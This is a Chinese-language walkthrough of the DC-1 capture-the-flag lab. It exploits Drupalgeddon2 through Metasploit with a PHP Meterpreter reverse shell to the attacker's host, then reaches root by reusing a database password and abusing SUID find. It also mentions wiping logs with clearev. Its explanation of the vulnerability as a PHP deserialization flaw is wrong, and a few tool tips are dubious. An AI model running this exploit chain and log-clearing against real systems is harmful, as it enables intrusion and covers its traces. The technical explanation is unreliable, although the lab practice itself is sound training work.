1. 靶场环境与攻击路径总览

DC-1是一个经典的渗透测试实战靶场，它的核心价值在于模拟了一个真实世界中因内容管理系统（CMS）漏洞而引发的完整攻击链。这个靶场不是让你去猜密码或者做简单的端口爆破，而是引导你体验一次从外部网络发现、漏洞利用、权限提升到最终获取最高权限（Root）的完整过程。对于刚接触渗透测试的朋友来说，DC-1就像一份精心设计的“攻击剧本”，每一步都有迹可循，但又需要你主动思考工具的选择和参数的调整。

整个攻击路径可以清晰地划分为三个阶段。第一阶段是信息收集与漏洞发现，你需要找到靶机的入口点，这里的关键就是Drupal CMS。第二阶段是漏洞利用与初始立足，利用著名的Drupalgeddon 2漏洞获得一个低权限的Web Shell。第三阶段也是最考验综合能力的阶段，即权限提升，你需要在这个Web Shell的基础上，通过枚举系统信息、利用配置缺陷或内核漏洞，一步步将权限提升到Root。这个过程会涉及到很多在真实渗透中也会遇到的典型场景，比如敏感文件查找、SUID权限滥用、数据库凭证利用等。我之所以选择复现这个靶场，是因为它几乎涵盖了Web应用渗透测试中从外到内的所有核心技能点，尤其是从Web漏洞到系统提权的衔接，是很多新手容易卡壳的地方。

2. 信息收集与Drupalgeddon2漏洞定位

在开始任何攻击之前，充分的信息收集是成功的一半。对于DC-1靶场，我们首先需要确定目标的存在和基本信息。

2.1 目标发现与端口扫描

通常，我们会从网络扫描开始。使用Nmap进行快速扫描，可以快速定位目标开放的端口和服务。针对DC-1，一个典型的扫描命令是nmap -sV -sC -O 靶机IP。-sV用于探测服务版本，-sC运行默认的Nmap脚本进行更深入的探测，-O尝试识别操作系统。扫描结果很可能会显示80端口开放，运行着Apache httpd服务，以及一个Drupal站点的特征。

仅仅知道开放了80端口和Drupal还不够，我们需要确认Drupal的具体版本，因为Drupalgeddon 2（CVE-2018-7600）影响的是特定版本范围（Drupal 6, 7, 8 的多个子版本）。我们可以通过多种方式确认：

1. 查看页面源代码：访问网站，查看HTML源码，在meta标签或生成器标签中有时会包含Drupal版本信息。
2. 访问特定路径：尝试访问/CHANGELOG.txt或/README.txt，Drupal通常会在这里写明版本号。
3. 使用专门工具：比如droopescan或wpscan（虽然主要用于WordPress，但其枚举功能有时也有效），可以更精准地识别CMS类型和版本。

在DC-1中，通过上述方法，我们很容易就能确定其运行的是一个存在Drupalgeddon 2漏洞的Drupal 7版本。这个漏洞的可怕之处在于，它允许攻击者在未认证的情况下远程执行代码（RCE），为后续的攻击打开了大门。

2.2 Drupalgeddon2漏洞原理浅析

理解漏洞原理能帮助我们在利用时更好地选择载荷和规避潜在问题。Drupalgeddon 2本质上是一个反序列化漏洞，但触发点在于Drupal表单API的某些参数处理上。简单来说，Drupal在处理表单渲染请求时，对某些传入的参数（如form_id）进行了不安全的反序列化操作。攻击者可以精心构造一个序列化后的PHP对象作为参数传递，当Drupal尝试反序列化这个参数时，就会触发对象中的特定方法（如__wakeup()或__destruct()），从而执行我们嵌入的恶意代码。

这个漏洞的利用链相对复杂，但幸运的是，Metasploit Framework（MSF）中已经集成了成熟的利用模块，我们不需要从零开始构造利用代码。我们需要关注的是，由于漏洞利用涉及发送特定的HTTP请求，因此对网络环境（如是否存在WAF）有一定要求，但在DC-1这样的隔离靶场环境中，我们可以直接利用。

注意：在实际的渗透测试授权项目中，即使发现存在此漏洞，利用前也必须再三确认授权范围是否允许进行RCE攻击。在靶场中，我们可以放心操作。

3. 利用MSF获取初始Shell与模块选择避坑

这是从理论到实践的关键一步，也是很多新手容易在工具使用上踩坑的环节。我们将使用Metasploit来利用Drupalgeddon 2漏洞。

3.1 Metasploit模块选择与启动

首先，启动MSF控制台：msfconsole。等待初始化完成后，我们需要搜索并选用正确的漏洞利用模块。

在MSF中，与Drupalgeddon 2相关的模块可能不止一个。通过search drupalgeddon命令进行搜索。你会看到类似exploit/unix/webapp/drupal_drupalgeddon2的模块。这里就是第一个避坑点：务必选择正确的模块。有些模块可能是针对不同Drupal版本或不同利用链的，选择名称中明确包含“drupalgeddon2”且路径为exploit/unix/webapp/的模块通常是正确的。使用use命令加载该模块。

use exploit/unix/webapp/drupal_drupalgeddon2

加载模块后，使用show options查看需要设置的参数。关键的参数通常包括：

• RHOSTS： 目标靶机的IP地址。
• RPORT： 目标Web服务端口，默认为80。
• TARGETURI： Drupal站点的根路径。如果Drupal安装在网站根目录（如http://靶机IP/），则此项留空或设置为/。如果安装在子目录（如http://靶机IP/drupal/），则需要设置为/drupal。在DC-1中，通常是在根目录。
• LHOST： 你自己的攻击机IP地址（用于接收反弹Shell）。
• LPORT： 监听端口，默认为4444。

3.2 载荷（Payload）选择与设置

设置好基本参数后，我们需要选择一个Payload。Payload决定了漏洞利用成功后，我们在目标机器上执行什么操作。对于获取Shell，最常用的是反向Shell（reverse shell）。

使用show payloads命令可以查看该漏洞模块兼容的所有Payload。对于Linux靶机（DC-1就是Linux），我们通常会选择php/meterpreter/reverse_tcp。Meterpreter是MSF的一个高级、功能丰富的后渗透Payload，比普通的命令行Shell强大得多。

set payload php/meterpreter/reverse_tcp set LHOST 你的Kali_IP set LPORT 4444

这里存在第二个，也是最重要的避坑点：PHP Meterpreter的稳定性问题。传统的php/meterpreter/reverse_tcp在某些环境，尤其是较新或配置特定的PHP环境中，可能会连接不稳定、容易中断，或者某些Meterpreter命令无法执行。这是因为PHP作为CGI或FPM运行时的环境限制。

解决方案：优先使用php/meterpreter_reverse_tcp（注意中间没有斜杠）。这个Payload是经过改进的，通常具有更好的稳定性和兼容性。如果搜索不到，另一个可靠的备选方案是使用普通的php/reverse_phpPayload，它会给你一个标准的PHP Shell，虽然功能不如Meterpreter强大，但极其稳定。在DC-1中，为了体验完整的后渗透过程，建议先尝试php/meterpreter_reverse_tcp。

# 更稳定的选择 set payload php/meterpreter_reverse_tcp

所有参数设置完毕后，使用run或exploit命令发起攻击。如果一切配置正确，你会看到MSF发送攻击载荷，成功后建立Meterpreter会话的提示。

3.3 初始Shell的确认与基础信息收集

成功之后，你会进入一个meterpreter >的提示符。首先，验证我们当前的权限。输入getuid命令，查看当前用户。在DC-1中，成功利用Drupalgeddon2后，我们通常是以Web服务运行用户的身份获得的权限，常见的是www-data。

这是一个低权限用户，无法直接读取敏感文件（如/etc/shadow）或进行系统级修改。我们的目标就是从这个www-data用户提升到root。在开始提权之前，先进行基础信息收集：

• sysinfo: 查看系统信息（如发行版、架构）。
• pwd: 查看当前在目标机器上的工作目录。
• ls: 列出文件。
• shell: 尝试切换到标准的系统Shell。如果成功，你会看到一个如$或www-data$的提示符。在Meterpreter的shell中，有时命令交互不如原生Shell方便，可以先切换过去。使用Ctrl+Z可以挂起Shell回到Meterpreter。

4. 权限提升路径探索与实战操作

拿到www-data的Shell后，真正的挑战开始了。提权没有固定公式，需要根据目标系统的具体配置来寻找突破口。下面是一条在DC-1中验证可行的提权路径。

4.1 环境侦察与敏感信息查找

首先，我们需要全面了解这个系统。在获得的Shell中（无论是Meterpreter的shell命令进入的，还是直接的反向Shell），执行一系列信息枚举命令。

1. 检查当前用户权限和sudo情况：

whoami id sudo -l

sudo -l命令至关重要，它列出了当前用户无需密码或以密码可以执行的sudo命令。如果www-data用户被配置了任何无密码的sudo权限，那可能就是一条捷径。但在标准的DC-1中，通常不会这么简单。

2. 查找具有SUID/SGID特殊权限的文件：SUID（Set User ID）权限的文件在执行时，会以文件所有者的身份运行。如果找到一个属于root且具有SUID权限的二进制文件，并且这个文件本身存在漏洞或者可以被我们以某种方式滥用，就可能用来提权。

find / -perm -u=s -type f 2>/dev/null

这条命令会在整个文件系统（/）中查找所有设置了SUID位的文件（-perm -u=s），并将错误信息（2>/dev/null）重定向到空设备，使输出更清晰。

3. 查找世界可写文件或目录：

find / -type f -writable 2>/dev/null | grep -v "/proc/" find / -type d -writable 2>/dev/null | grep -v "/proc/"

世界可写的文件或目录意味着任何用户都可以修改它们。如果这些文件是系统服务脚本、cron任务脚本或者属于root用户，修改它们可能触发提权。

4. 检查计划任务（Cron Jobs）：

cat /etc/crontab ls -la /etc/cron.*/ crontab -l

查看系统级和当前用户的计划任务，看是否有任何任务是以root权限运行的，并且其脚本或二进制文件的位置是我们有权限写入的。

5. 探查Drupal配置文件：我们是通过Drupal进来的，那么Drupal的配置文件中很可能包含数据库密码。数据库里可能存储着其他用户的密码哈希，甚至是系统用户的凭证。

find /var/www -name "settings.php" -type f 2>/dev/null

找到Drupal的settings.php文件（通常在/var/www/html/sites/default/下），查看其内容：

cat /var/www/html/sites/default/settings.php

寻找类似$databases的数组，里面包含了数据库连接信息，如数据库名、用户名、密码和主机。

4.2 利用MySQL数据库获取新凭据

假设我们在settings.php中找到了如下数据库配置：

$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );

现在我们有了数据库用户名dbuser和密码R0ck3t。我们可以尝试登录MySQL数据库。

mysql -u dbuser -p

输入密码R0ck3t后，进入MySQL命令行。

在Drupal数据库中，用户凭证存储在users表里。但是Drupal 7默认使用哈希加盐（salted hash）的方式存储密码，直接破解难度较大。然而，DC-1靶场的设计者可能在这里留下了线索。除了users表，我们还应查看所有表，寻找可能存在的明文密码或其他敏感信息。

use drupal; show tables; -- 查看users表结构 describe users; -- 查看用户数据，关注name和pass字段 select name, pass from users;

你可能会发现一个名为admin的用户，其密码哈希以$S$开头，这是Drupal的哈希。直接破解这个哈希在靶场时间内不现实。但有时，开发或管理员会在其他表或甚至其他数据库中留下痕迹。一个关键的思路是：这个数据库密码，会不会被系统上的其他用户重复使用？

4.3 尝试密码复用与用户切换

我们获得了数据库密码R0ck3t。在安全实践中，密码复用是大忌，但在一些老旧或不安全的系统中很常见。我们可以尝试用这个密码来切换系统用户。

首先，查看/etc/passwd文件，了解系统上有哪些用户。

cat /etc/passwd | grep -v "nologin" | grep -v "false"

我们可能会看到像root、flag4（DC-1中的特定用户）等。尝试用su命令切换到这些用户，并使用密码R0ck3t。

su - flag4

输入密码R0ck3t。如果运气好（在DC-1的设计中，这正是预期的路径之一），你会成功切换到flag4用户。执行id命令，你会发现你可能已经拥有了更高的权限，甚至可能直接就是root？通常不会这么直接，但flag4用户可能拥有执行某些特权命令的权限。

4.4 利用find命令的SUID权限进行最终提权

切换到flag4用户后，再次运行SUID查找命令：

find / -perm -u=s -type f 2>/dev/null

仔细分析输出列表。一个非常可疑且常见的二进制文件是find。find命令本身功能强大，如果它以SUID root权限运行，我们就可以用它来执行任意命令。

验证/usr/bin/find的权限：

ls -la /usr/bin/find

如果它显示-rwsr-xr-x，其中s就代表SUID位，并且所有者是root。

利用SUIDfind提权有一个经典的方法：

/usr/bin/find . -exec /bin/sh \; -quit

这条命令的含义是：在当前目录（.）执行find，对于找到的每一项（默认就是当前目录本身），执行（-exec）/bin/sh这个命令，\;是-exec的终止符，-quit表示找到第一项后就退出。关键在于，由于find是以root身份运行的，那么它执行的/bin/sh也会以root身份运行。

执行上述命令后，你应该会获得一个root权限的Shell。立即用whoami或id命令验证，确认已经是root用户。

为什么这样能成功？因为find命令的-exec参数允许执行任意系统命令。当find二进制文件被设置了SUID位且属于root时，它运行时的有效用户ID（EUID）就是root，因此它通过-exec调用的子进程也继承了root权限。这是系统管理员错误配置的典型例子——将不必要的强大工具赋予了SUID权限。

5. 后渗透收尾与靶场总结

获得root权限后，就完成了DC-1靶场的核心挑战。通常，这类靶场还会设置一些“flag”文件，作为每个阶段完成的证明。你可以开始寻找它们：

find / -name "*flag*" -type f 2>/dev/null find / -name "*.txt" -type f 2>/dev/null | xargs grep -l "flag" 2>/dev/null

这些flag文件可能位于/root、/home/flag4等目录，内容通常是一段哈希或字符串。

5.1 清理痕迹与退出

在真实渗透测试中，完成后需要清理日志等痕迹。在靶场中，我们可以练习一下相关命令，但无需真正执行。了解如何查看和清理相关日志即可：

• /var/log/auth.log： 认证日志（尝试su、sudo的记录）。
• /var/log/apache2/access.log和error.log： Web访问日志。
• 使用meterpreter的clearev命令可以清除目标系统上的日志（慎用）。

退出时，在Meterpreter会话中输入exit，或者在普通的root shell中输入exit直到完全退出连接。

5.2 核心避坑与经验复盘

回顾整个DC-1的复现过程，有几个关键点决定了成败，也是新手最容易出错的地方：

1. MSF Payload的选择：这是初期能否稳定获得Shell的关键。盲目使用默认的php/meterpreter/reverse_tcp可能导致会话不稳定。记住php/meterpreter_reverse_tcp或php/reverse_php是更稳妥的选择。在利用任何漏洞前，花点时间show payloads并查阅文档是值得的。

2. 信息收集的彻底性：提权没有银弹。从www-data到root的路径可能隐藏在任何一条枚举信息中。sudo -l、SUID文件、可写目录、Cron任务、配置文件密码，每一条都必须仔细检查，不能想当然。DC-1的提权路径（数据库密码复用->切换用户->滥用SUID find）就是一个经典的“串联漏洞”例子。

3. 对工具原理的理解：知道find命令的-exec参数可以用于SUID提权，这属于知识积累。但更重要的是理解其背后的原理：SUID权限和进程的EUID继承。理解了原理，即使遇到其他SUID二进制文件（如vim、nmap、more等），你也能举一反三，尝试利用其特性。

4. 耐心与细心：渗透测试很多时候就像侦探破案，需要耐心地梳理线索。一条命令没结果就换下一条，一个思路不行就换另一个。DC-1的路径是设计好的，但真实环境更加复杂多变，培养这种系统性的枚举思维和耐心，比记住某个特定靶场的解法更重要。

这个靶场完美地演绎了“漏洞利用链”的概念：一个远程代码执行漏洞（RCE）获得初始立足点，然后通过信息泄露（数据库密码）获得更高权限的凭据，最后利用本地权限配置漏洞（不安全的SUID）完成垂直提权。每一步都环环相扣，复现一次DC-1，胜过阅读十篇孤立的漏洞文章。